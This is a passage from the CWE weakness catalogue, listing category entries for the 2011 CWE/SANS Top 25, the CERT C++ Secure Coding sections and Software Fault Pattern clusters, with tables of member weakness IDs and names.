[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

Category-864: 2011 Top 25 - Insecure Interaction Between Components

Category ID : 864 **Status:** Obsolete

Summary

Weaknesses in this category are listed in the "Insecure Interaction Between Components" section of the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	900	Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors	900	2042
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	900	141
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	900	152
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	900	187
HasMember	C	352	Cross-Site Request Forgery (CSRF)	900	773
HasMember	B	434	Unrestricted Upload of File with Dangerous Type	900	935
HasMember	B	601	URL Redirection to Untrusted Site ('Open Redirect')	900	1195
HasMember	B	829	Inclusion of Functionality from Untrusted Control Sphere	900	1532

References

[REF-843]"2011 CWE/SANS Top 25 Most Dangerous Software Errors". 2011 June 7. < http://cwe.mitre.org/top25/archive/2011/2011_cwe_sans_top25.html >.

Category-865: 2011 Top 25 - Risky Resource Management

Category ID : 865 **Status:** Obsolete

Summary

Weaknesses in this category are listed in the "Risky Resource Management" section of the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	900	Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors	900	2042

Nature	Type	ID	Name	V	Page
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	900	31
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	900	280
HasMember	B	131	Incorrect Calculation of Buffer Size	900	325
HasMember	B	134	Use of Externally-Controlled Format String	900	334
HasMember	B	190	Integer Overflow or Wraparound	900	437
HasMember	B	494	Download of Code Without Integrity Check	900	1055
HasMember	B	676	Use of Potentially Dangerous Function	900	1317

References

[REF-843]"2011 CWE/SANS Top 25 Most Dangerous Software Errors". 2011 June 7. < http://cwe.mitre.org/top25/archive/2011/2011_cwe_sans_top25.html >.

Category-866: 2011 Top 25 - Porous Defenses

Category ID : 866 **Status:** Obsolete

Summary

Weaknesses in this category are listed in the "Porous Defenses" section of the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	900	Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors	900	2042
HasMember	B	250	Execution with Unnecessary Privileges	900	547
HasMember	B	306	Missing Authentication for Critical Function	900	674
HasMember	B	307	Improper Restriction of Excessive Authentication Attempts	900	678
HasMember	C	311	Missing Encryption of Sensitive Data	900	686
HasMember	C	327	Use of a Broken or Risky Cryptographic Algorithm	900	720
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	900	1367
HasMember	V	759	Use of a One-Way Hash without a Salt	900	1395
HasMember	B	798	Use of Hard-coded Credentials	900	1486
HasMember	B	807	Reliance on Untrusted Inputs in a Security Decision	900	1507
HasMember	C	862	Missing Authorization	900	1567
HasMember	C	863	Incorrect Authorization	900	1573

References

[REF-843]"2011 CWE/SANS Top 25 Most Dangerous Software Errors". 2011 June 7. < http://cwe.mitre.org/top25/archive/2011/2011_cwe_sans_top25.html >.

Category-867: 2011 Top 25 - Weaknesses On the Cusp

Category ID : 867 **Status:** Obsolete

Summary

Weaknesses in this category are not part of the general Top 25, but they were part of the original nominee list from which the Top 25 was drawn.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	900	Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors	900	2042
HasMember	V	129	Improper Validation of Array Index	900	312
HasMember	B	209	Generation of Error Message Containing Sensitive Information	900	490
HasMember	B	212	Improper Removal of Sensitive Information Before Storage or Transfer	900	500
HasMember	C	330	Use of Insufficiently Random Values	900	730
HasMember	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	900	793
HasMember	V	456	Missing Initialization of a Variable	900	971
HasMember	B	476	NULL Pointer Dereference	900	1009
HasMember	B	681	Incorrect Conversion between Numeric Types	900	1322
HasMember	C	754	Improper Check for Unusual or Exceptional Conditions	900	1381
HasMember	B	770	Allocation of Resources Without Limits or Throttling	900	1422
HasMember	B	772	Missing Release of Resource after Effective Lifetime	900	1432
HasMember	B	805	Buffer Access with Incorrect Length Value	900	1497
HasMember	B	822	Untrusted Pointer Dereference	900	1515
HasMember	B	825	Expired Pointer Dereference	900	1523
HasMember	B	838	Inappropriate Encoding for Output Context	900	1551
HasMember	B	841	Improper Enforcement of Behavioral Workflow	900	1559

References

[REF-843]"2011 CWE/SANS Top 25 Most Dangerous Software Errors". 2011 June 7. < http://cwe.mitre.org/top25/archive/2011/2011_cwe_sans_top25.html >.

Category-869: CERT C++ Secure Coding Section 01 - Preprocessor (PRE)

Category ID : 869 **Status:** Incomplete

Summary

Weaknesses in this category are related to rules in the Preprocessor (PRE) section of the CERT C ++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2036

References

[REF-848]The Software Engineering Institute. "01. Preprocessor (PRE)". < https://www.securecoding.cert.org/confluence/display/cplusplus/01.+Preprocessor+%28PRE%29 >.

Category-870: CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL)

Category ID : 870 **Status:** Incomplete

Summary

Weaknesses in this category are related to rules in the Declarations and Initialization (DCL) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2036

References

[REF-849]CERT. "02. Declarations and Initialization (DCL)". < https://www.securecoding.cert.org/confluence/display/cplusplus/02.+Declarations+and+Initialization+%28DCL%29 >.

Category-871: CERT C++ Secure Coding Section 03 - Expressions (EXP)

Category ID : 871 **Status:** Incomplete

Summary

Weaknesses in this category are related to rules in the Expressions (EXP) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2036
HasMember	B	476	NULL Pointer Dereference	868	1009
HasMember	B	480	Use of Incorrect Operator	868	1023
HasMember	V	768	Incorrect Short Circuit Evaluation	868	1420

References

[REF-850]CERT. "03. Expressions (EXP)". < https://www.securecoding.cert.org/confluence/display/cplusplus/03.+Expressions+%28EXP%29 >.

Category-872: CERT C++ Secure Coding Section 04 - Integers (INT)

Category ID : 872 **Status:** Incomplete

Summary

Weaknesses in this category are related to rules in the Integers (INT) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2036
HasMember	C	20	Improper Input Validation	868	19
HasMember	V	129	Improper Validation of Array Index	868	312
HasMember	B	190	Integer Overflow or Wraparound	868	437
HasMember	V	192	Integer Coercion Error	868	446
HasMember	B	197	Numeric Truncation Error	868	461
HasMember	B	369	Divide By Zero	868	818
HasMember	B	466	Return of Pointer Value Outside of Expected Range	868	988
HasMember	B	587	Assignment of a Fixed Address to a Pointer	868	1175
HasMember	B	606	Unchecked Input for Loop Condition	868	1207
HasMember	B	676	Use of Potentially Dangerous Function	868	1317
HasMember	B	681	Incorrect Conversion between Numeric Types	868	1322
HasMember	P	682	Incorrect Calculation	868	1326

References

[REF-851]CERT. "04. Integers (INT)". < https://www.securecoding.cert.org/confluence/display/cplusplus/04.+Integers+%28INT%29 >.

Category-873: CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)

Category ID : 873 **Status:** Incomplete

Summary

Weaknesses in this category are related to rules in the Floating Point Arithmetic (FLP) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2036
HasMember	B	369	Divide By Zero	868	818
HasMember	B	681	Incorrect Conversion between Numeric Types	868	1322
HasMember	P	682	Incorrect Calculation	868	1326
HasMember	V	686	Function Call With Incorrect Argument Type	868	1334

References

[REF-852]CERT. "05. Floating Point Arithmetic (FLP)". < https://www.securecoding.cert.org/confluence/display/cplusplus/05.+Floating+Point+Arithmetic+%28FLP%29 >.

Category-874: CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)

Category ID : 874 **Status:** Incomplete

Summary

Weaknesses in this category are related to rules in the Arrays and the STL (ARR) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2036
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	868	271
HasMember	V	129	Improper Validation of Array Index	868	312
HasMember	V	467	Use of sizeof() on a Pointer Type	868	989
HasMember	B	469	Use of Pointer Subtraction to Determine Size	868	994
HasMember	C	665	Improper Initialization	868	1293
HasMember	B	805	Buffer Access with Incorrect Length Value	868	1497

References

[REF-853]CERT. "06. Arrays and the STL (ARR)". < https://www.securecoding.cert.org/confluence/display/cplusplus/06.+Arrays+and+the+STL+%28ARR%29 >.

Category-875: CERT C++ Secure Coding Section 07 - Characters and Strings (STR)

Category ID : 875 **Status:** Incomplete

Summary

Weaknesses in this category are related to rules in the Characters and Strings (STR) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2036
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	868	141
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	868	181
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	868	271
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	868	280
HasMember	B	170	Improper Null Termination	868	395
HasMember	B	193	Off-by-one Error	868	449
HasMember	B	464	Addition of Data Structure Sentinel	868	986
HasMember	V	686	Function Call With Incorrect Argument Type	868	1334
HasMember	C	704	Incorrect Type Conversion or Cast	868	1357

References

[REF-854]CERT. "07. Characters and Strings (STR)". < https://www.securecoding.cert.org/confluence/display/cplusplus/07.+Characters+and+Strings+%28STR%29 >.

Category-876: CERT C++ Secure Coding Section 08 - Memory Management (MEM)

Category ID : 876 **Status:** Incomplete

Summary

Weaknesses in this category are related to rules in the Memory Management (MEM) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2036
HasMember	C	20	Improper Input Validation	868	19
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	868	271
HasMember	B	128	Wrap-around Error	868	309
HasMember	B	131	Incorrect Calculation of Buffer Size	868	325
HasMember	B	190	Integer Overflow or Wraparound	868	437
HasMember	B	226	Sensitive Information Uncleared in Resource Before Release for Reuse	868	517
HasMember	V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	868	540
HasMember	B	252	Unchecked Return Value	868	553
HasMember	B	391	Unchecked Error Condition	868	850
HasMember	C	404	Improper Resource Shutdown or Release	868	877
HasMember	V	415	Double Free	868	901
HasMember	V	416	Use After Free	868	904
HasMember	B	476	NULL Pointer Dereference	868	1009
HasMember	V	528	Exposure of Core Dump File to an Unauthorized Control Sphere	868	1100
HasMember	V	590	Free of Memory not on the Heap	868	1179
HasMember	V	591	Sensitive Data Storage in Improperly Locked Memory	868	1182
HasMember	C	665	Improper Initialization	868	1293
HasMember	V	687	Function Call With Incorrectly Specified Argument Value	868	1335
HasMember	∞	690	Unchecked Return Value to NULL Pointer Dereference	868	1339
HasMember	P	703	Improper Check or Handling of Exceptional Conditions	868	1355
HasMember	C	754	Improper Check for Unusual or Exceptional Conditions	868	1381
HasMember	V	762	Mismatched Memory Management Routines	868	1405
HasMember	B	770	Allocation of Resources Without Limits or Throttling	868	1422
HasMember	B	822	Untrusted Pointer Dereference	868	1515

References

[REF-855]CERT. "08. Memory Management (MEM)". < https://www.securecoding.cert.org/confluence/display/cplusplus/08.+Memory+Management+%28MEM%29 >.

Category-877: CERT C++ Secure Coding Section 09 - Input Output (FIO)

Category ID : 877 **Status:** Incomplete

Summary

Weaknesses in this category are related to rules in the Input Output (FIO) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2036
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	868	31
HasMember	V	37	Path Traversal: '/absolute/pathname/here'	868	73
HasMember	V	38	Path Traversal: '\absolute\pathname\here'	868	75
HasMember	V	39	Path Traversal: 'C:dirname'	868	77
HasMember	B	41	Improper Resolution of Path Equivalence	868	81
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	868	106
HasMember	V	62	UNIX Hard Link	868	112
HasMember	V	64	Windows Shortcut Following (.LNK)	868	114
HasMember	V	65	Windows Hard Link	868	116
HasMember	V	67	Improper Handling of Windows Device Names	868	120
HasMember	B	73	External Control of File Name or Path	868	125
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	868	271
HasMember	B	134	Use of Externally-Controlled Format String	868	334
HasMember	B	241	Improper Handling of Unexpected Data Type	868	534
HasMember	B	276	Incorrect Default Permissions	868	606
HasMember	V	279	Incorrect Execution-Assigned Permissions	868	611
HasMember	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	868	793
HasMember	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	868	812
HasMember	B	379	Creation of Temporary File in Directory with Insecure Permissions	868	834
HasMember	B	391	Unchecked Error Condition	868	850
HasMember	B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')	868	876
HasMember	C	404	Improper Resource Shutdown or Release	868	877
HasMember	B	552	Files or Directories Accessible to External Parties	868	1125
HasMember	C	675	Duplicate Operations on Resource	868	1316
HasMember	B	676	Use of Potentially Dangerous Function	868	1317
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	868	1367
HasMember	B	770	Allocation of Resources Without Limits or Throttling	868	1422

References

[REF-856]CERT. "09. Input Output (FIO)". < https://www.securecoding.cert.org/confluence/display/cplusplus/09.+Input+Output+%28FIO%29 >.

Category-878: CERT C++ Secure Coding Section 10 - Environment (ENV)

Category ID : 878 **Status:** Incomplete

Summary

Weaknesses in this category are related to rules in the Environment (ENV) section of the CERT C ++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2036
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	868	141
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	868	181
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	868	271
HasMember	B	426	Untrusted Search Path	868	917
HasMember	B	462	Duplicate Key in Associative List (Alist)	868	983
HasMember	C	705	Incorrect Control Flow Scoping	868	1359
HasMember	B	807	Reliance on Untrusted Inputs in a Security Decision	868	1507

References

[REF-857]CERT. "10. Environment (ENV)". < https://www.securecoding.cert.org/confluence/display/cplusplus/10.+Environment+%28ENV%29 >.

Category-879: CERT C++ Secure Coding Section 11 - Signals (SIG)

Category ID : 879 **Status:** Incomplete

Summary

Weaknesses in this category are related to rules in the Signals (SIG) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2036
HasMember	V	479	Signal Handler Use of a Non-reentrant Function	868	1021
HasMember	C	662	Improper Synchronization	868	1288

References

[REF-858]CERT. "11. Signals (SIG)". < https://www.securecoding.cert.org/confluence/display/cplusplus/11.+Signals+%28SIG%29 >.

Category-880: CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)

Category ID : 880 **Status:** Incomplete

Summary

Weaknesses in this category are related to rules in the Exceptions and Error Handling (ERR) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2036
HasMember	B	209	Generation of Error Message Containing Sensitive Information	868	490
HasMember	B	390	Detection of Error Condition Without Action	868	845
HasMember	B	391	Unchecked Error Condition	868	850
HasMember	B	460	Improper Cleanup on Thrown Exception	868	981
HasMember	B	497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	868	1062
HasMember	B	544	Missing Standardized Error Handling Mechanism	868	1117
HasMember	P	703	Improper Check or Handling of Exceptional Conditions	868	1355
HasMember	C	705	Incorrect Control Flow Scoping	868	1359
HasMember	C	754	Improper Check for Unusual or Exceptional Conditions	868	1381
HasMember	C	755	Improper Handling of Exceptional Conditions	868	1389

References

[REF-861]CERT. "12. Exceptions and Error Handling (ERR)". < https://www.securecoding.cert.org/confluence/display/cplusplus/12.+Exceptions+and+Error+Handling+%28ERR%29 >.

Category-881: CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP)

Category ID : 881 **Status:** Incomplete

Summary

Weaknesses in this category are related to rules in the Object Oriented Programming (OOP) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2036

References

[REF-862]CERT. "13. Object Oriented Programming (OOP)". < https://www.securecoding.cert.org/confluence/display/cplusplus/13.+Object+Oriented+Programming+%28OOP%29 >.

Category-882: CERT C++ Secure Coding Section 14 - Concurrency (CON)

Category ID : 882 **Status:** Incomplete

Summary

Weaknesses in this category are related to rules in the Concurrency (CON) section of the CERT C ++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2036
HasMember	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	868	793
HasMember	B	366	Race Condition within a Thread	868	809
HasMember	C	404	Improper Resource Shutdown or Release	868	877
HasMember	B	488	Exposure of Data Element to Wrong Session	868	1040
HasMember	B	772	Missing Release of Resource after Effective Lifetime	868	1432

References

[REF-863]CERT. "14. Concurrency (CON)". < https://www.securecoding.cert.org/confluence/display/cplusplus/14.+Concurrency+%28CON%29 >.

Category-883: CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)

Category ID : 883 **Status:** Incomplete

Summary

Weaknesses in this category are related to rules in the Miscellaneous (MSC) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2036
HasMember	V	14	Compiler Removal of Code to Clear Buffers	868	14
HasMember	C	20	Improper Input Validation	868	19
HasMember	C	116	Improper Encoding or Escaping of Output	868	260
HasMember	V	176	Improper Handling of Unicode Encoding	868	407
HasMember	C	327	Use of a Broken or Risky Cryptographic Algorithm	868	720
HasMember	C	330	Use of Insufficiently Random Values	868	730
HasMember	B	480	Use of Incorrect Operator	868	1023
HasMember	V	482	Comparing instead of Assigning	868	1029
HasMember	B	561	Dead Code	868	1133
HasMember	V	563	Assignment to Variable without Use	868	1137
HasMember	B	570	Expression is Always False	868	1147
HasMember	B	571	Expression is Always True	868	1150
HasMember	P	697	Incorrect Comparison	868	1350
HasMember	C	704	Incorrect Type Conversion or Cast	868	1357

References

[REF-864]CERT. "49. Miscellaneous (MSC)". < https://www.securecoding.cert.org/confluence/display/cplusplus/49.+Miscellaneous+%28MSC%29 >.

Category-885: SFP Primary Cluster: Risky Values

Category ID : 885 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Risky Values cluster (SFP1).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2041
HasMember	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958

Category-886: SFP Primary Cluster: Unused entities

Category ID : 886 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Unused entities cluster (SFP2).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2041
HasMember	V	482	Comparing instead of Assigning	888	1029
HasMember	B	561	Dead Code	888	1133
HasMember	V	563	Assignment to Variable without Use	888	1137

Category-887: SFP Primary Cluster: API

Category ID : 887 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the API cluster (SFP3).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2041
HasMember	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959

Category-889: SFP Primary Cluster: Exception Management

Category ID : 889 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Exception Management cluster (SFP4, SFP5, SFP6).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2041

Nature	Type	ID	Name	V	Page
HasMember	C	960	SFP Secondary Cluster: Ambiguous Exception Type	888	1939
HasMember	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	1939
HasMember	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1940

Category-890: SFP Primary Cluster: Memory Access

Category ID : 890 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Memory Access cluster (SFP7, SFP8).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2041
HasMember	C	970	SFP Secondary Cluster: Faulty Buffer Access	888	1945
HasMember	C	971	SFP Secondary Cluster: Faulty Pointer Use	888	1945
HasMember	C	972	SFP Secondary Cluster: Faulty String Expansion	888	1945
HasMember	C	973	SFP Secondary Cluster: Improper NULL Termination	888	1946
HasMember	C	974	SFP Secondary Cluster: Incorrect Buffer Length Computation	888	1946

Category-891: SFP Primary Cluster: Memory Management

Category ID : 891 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Memory Management cluster (SFP38).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2041
HasMember	C	969	SFP Secondary Cluster: Faulty Memory Release	888	1944

Category-892: SFP Primary Cluster: Resource Management

Category ID : 892 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Resource Management cluster (SFP37).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2041
HasMember	C	982	SFP Secondary Cluster: Failure to Release Resource	888	1950

Nature	Type	ID	Name	V	Page
HasMember	C	983	SFP Secondary Cluster: Faulty Resource Use	888	1950
HasMember	C	984	SFP Secondary Cluster: Life Cycle	888	1951
HasMember	C	985	SFP Secondary Cluster: Unrestricted Consumption	888	1951

Category-893: SFP Primary Cluster: Path Resolution

Category ID : 893 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Path Resolution cluster (SFP16, SFP17, SFP18).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2041
HasMember	C	979	SFP Secondary Cluster: Failed Chroot Jail	888	1948
HasMember	C	980	SFP Secondary Cluster: Link in Resource Name Resolution	888	1948
HasMember	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Category-894: SFP Primary Cluster: Synchronization

Category ID : 894 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Synchronization cluster (SFP19, SFP20, SFP21, SFP22).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2041
HasMember	C	986	SFP Secondary Cluster: Missing Lock	888	1951
HasMember	C	987	SFP Secondary Cluster: Multiple Locks/Unlocks	888	1952
HasMember	C	988	SFP Secondary Cluster: Race Condition Window	888	1952
HasMember	C	989	SFP Secondary Cluster: Unrestricted Lock	888	1953

Category-895: SFP Primary Cluster: Information Leak

Category ID : 895 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Information Leak cluster (SFP23).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2041

Nature	Type	ID	Name	V	Page
HasMember	C	963	SFP Secondary Cluster: Exposed Data	888	1940
HasMember	C	964	SFP Secondary Cluster: Exposure Temporary File	888	1942
HasMember	C	965	SFP Secondary Cluster: Insecure Session Management	888	1943
HasMember	C	966	SFP Secondary Cluster: Other Exposures	888	1943
HasMember	C	967	SFP Secondary Cluster: State Disclosure	888	1943

Category-896: SFP Primary Cluster: Tainted Input

Category ID : 896 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Tainted Input cluster (SFP24, SFP25, SFP26, SFP27).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2041
HasMember	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953
HasMember	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	1955
HasMember	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	1956
HasMember	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1956
HasMember	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	1957

Category-897: SFP Primary Cluster: Entry Points

Category ID : 897 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Entry Points cluster (SFP28).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2041
HasMember	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	1960

Category-898: SFP Primary Cluster: Authentication

Category ID : 898 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Authentication cluster (SFP29, SFP30, SFP31, SFP32, SFP33, SFP34).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2041
HasMember	C	947	SFP Secondary Cluster: Authentication Bypass	888	1934

Nature	Type	ID	Name	V	Page
HasMember	C	948	SFP Secondary Cluster: Digital Certificate	888	1935
HasMember	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	1935
HasMember	C	950	SFP Secondary Cluster: Hardcoded Sensitive Data	888	1936
HasMember	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	1936
HasMember	C	952	SFP Secondary Cluster: Missing Authentication	888	1936
HasMember	C	953	SFP Secondary Cluster: Missing Endpoint Authentication	888	1937
HasMember	C	954	SFP Secondary Cluster: Multiple Binds to the Same Port	888	1937
HasMember	C	955	SFP Secondary Cluster: Unrestricted Authentication	888	1937

Category-899: SFP Primary Cluster: Access Control

Category ID : 899 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Access Control cluster (SFP35).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2041
HasMember	C	944	SFP Secondary Cluster: Access Management	888	1933
HasMember	C	945	SFP Secondary Cluster: Insecure Resource Access	888	1933
HasMember	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	1934

Category-901: SFP Primary Cluster: Privilege

Category ID : 901 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Privilege cluster (SFP36).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2041
HasMember	V	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods	888	7
HasMember	B	250	Execution with Unnecessary Privileges	888	547
HasMember	B	266	Incorrect Privilege Assignment	888	580
HasMember	B	267	Privilege Defined With Unsafe Actions	888	583
HasMember	B	268	Privilege Chaining	888	586
HasMember	C	269	Improper Privilege Management	888	589
HasMember	B	270	Privilege Context Switching Error	888	593
HasMember	C	271	Privilege Dropping / Lowering Errors	888	595
HasMember	B	272	Least Privilege Violation	888	598
HasMember	B	274	Improper Handling of Insufficient Privileges	888	604
HasMember	V	520	.NET Misconfiguration: Use of Impersonation	888	1088

Nature	Type	ID	Name	V	Page
HasMember	B	653	Insufficient Compartmentalization	888	1279

Category-902: SFP Primary Cluster: Channel

Category ID : 902 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Channel cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2041
HasMember	C	956	SFP Secondary Cluster: Channel Attack	888	1937
HasMember	C	957	SFP Secondary Cluster: Protocol Error	888	1938

Category-903: SFP Primary Cluster: Cryptography

Category ID : 903 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Cryptography cluster.

Membership

Nature	Type	ID	Name	V	Page
